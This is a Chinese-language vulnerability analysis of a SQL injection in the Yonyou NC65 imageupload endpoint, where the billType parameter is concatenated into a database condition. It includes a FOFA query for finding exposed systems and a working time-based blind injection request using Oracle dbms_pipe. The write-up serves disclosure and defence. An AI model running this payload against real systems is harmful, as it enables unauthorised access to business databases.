用友NC系统影像管理-影像上传 imageupload SQL注入漏洞


漏洞简介

用友NC系统imageupload接口存在sql注入漏洞,从而窃取服务器的敏感信息。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告可知 imageUpload 为sql注入点

因此搜索 imageUpload 方法定义即可找到业务逻辑实现代码

package nc.web.arap.controller;

import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import nc.bs.arap.util.ArapBillVOUtils;
import nc.bs.framework.common.InvocationInfoProxy;
import nc.bs.framework.common.NCLocator;
import nc.itf.arap.web.IWebPubService;
import nc.itf.image.IImageScanQueryService;
import nc.jdbc.framework.generator.IdGenerator;
import nc.uap.lfw.core.LfwRuntimeEnvironment;
import nc.vo.arap.AbstractBillDefValue;
import nc.vo.arap.basebill.BaseAggVO;
import nc.vo.jcom.lang.StringUtil;
import nc.vo.pub.AggregatedValueObject;
import nc.vo.pub.BusinessException;
import nc.vo.pub.bill.BillTempletVO;
import nc.vo.pub.billtype.BilltypeVO;
import nc.web.arap.bill.pub.ArapWebBillRefcfg;
import nc.web.arap.bill.pub.WebBillTypeFactory;
import nc.web.arap.environment.EnvironmentInit;
import nc.web.arap.factory.NCLocatorFactory;
import nc.web.arap.json.TranslateValueObjectToJson;
import nc.web.arap.utils.ArapTemplateInterpereter;
import nc.web.arap.utils.ArapTemplateQueryUtil;
import nc.web.datatrans.itf.ITranslateDataService;
import org.apache.commons.lang.StringUtils;
import org.codehaus.jettison.json.JSONException;
import org.codehaus.jettison.json.JSONObject;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import uap.iweb.plugin.model.BrotherPair;
import uap.web.util.JsonUtil;

@Controller
@RequestMapping({"/billadd_ctr"})
public class BillAddController extends ArapController {
    public BillAddController() {
    }

@RequestMapping(
    value = {"/imageupload"},
    method = {RequestMethod.GET}
)
public String imageUpload(HttpServletRequest request, HttpServletResponse response) throws BusinessException {
    Enumeration enums = request.getParameterNames();

    while(enums.hasMoreElements()) {
        String key = enums.nextElement().toString();
        request.setAttribute(key, request.getParameter(key));
    }

    String pk_tradetypecode = request.getParameter("billType");
    String pk_org = request.getParameter("pk_org");
    int scanType = 1;
    if (StringUtils.isNotEmpty(pk_tradetypecode) && StringUtils.isEmpty(pk_org)) {
        IImageScanQueryService service = (IImageScanQueryService)NCLocatorFactory.getInstance().getFiwebNCLocator().lookup(IImageScanQueryService.class);
        scanType = service.queryImageScan(pk_org, pk_tradetypecode);
    }

    request.setAttribute("scanType", scanType);
    return "imageupload";
}
}

billType ==> pk_tradetypecode ==> 进入 service.queryImageScan,其实现逻辑如下

public interface IImageScanQueryService {
    int queryImageScan(String var1, String var2) throws BusinessException;
}

public int queryImageScan(String pk_org, String billortrantypecode) throws BusinessException {
    Map<String, BilltypeVO> allBillType = PfDataCache.getBilltypes();

    for(Map.Entry<String, BilltypeVO> entry : allBillType.entrySet()) {
        BilltypeVO billTypeVO = (BilltypeVO)entry.getValue();
        if (billTypeVO.getPk_billtypecode().equals(billortrantypecode)) {
            this.billtype = billTypeVO.getParentbilltype();
            break;
        }
    }

    BaseDAO dao = new BaseDAO();
    List<ImageScanSetupVO> list = (List)dao.retrieveByClause(ImageScanSetupVO.class, this.getCondition(pk_org, billortrantypecode));
    if (list.size() != 0) {

private String getCondition(String pk_org, String billortrantypecode) {
    String condition = "pk_org='" + pk_org + "'" + " and (" + "billortrantypecode" + "='" + billortrantypecode + "'" + " or " + "billtypecode" + "='" + this.billtype + "'" + ") ";
    return condition;
}

带入 dao.retrieveByClause ,有关 dao.retrieveByClause 的实现逻辑处理参考前一篇文章:用友NC setting/renew sql注入漏洞

  • 遍历请求参数并将其设置到request属性中。
  • 获取两个参数:billType和pk_org
  • 初始化scanType为1
  • 如果billType不为空且pk_org为空,则调用服务查询scanType

最终 billType 拼接进 getCondition 函数的SQL语句中,造成SQL注入漏洞。

漏洞复现

注意漏洞利用只能是 GET 方法

GET /portal/pt/billadd_ctr/imageupload?billType=-1')and 1=dbms_pipe.receive_message('RDS',4)--&pageId=login&pk_org= HTTP/1.0
Host: nc65.mrxn.net

参考

  • https://security.yonyou.com/#/noticeInfo?id=671

手机扫码阅读

用友NC deleteOftenMenu SQL注入漏洞

用友NC portalpage/doNew sql注入漏洞

评 论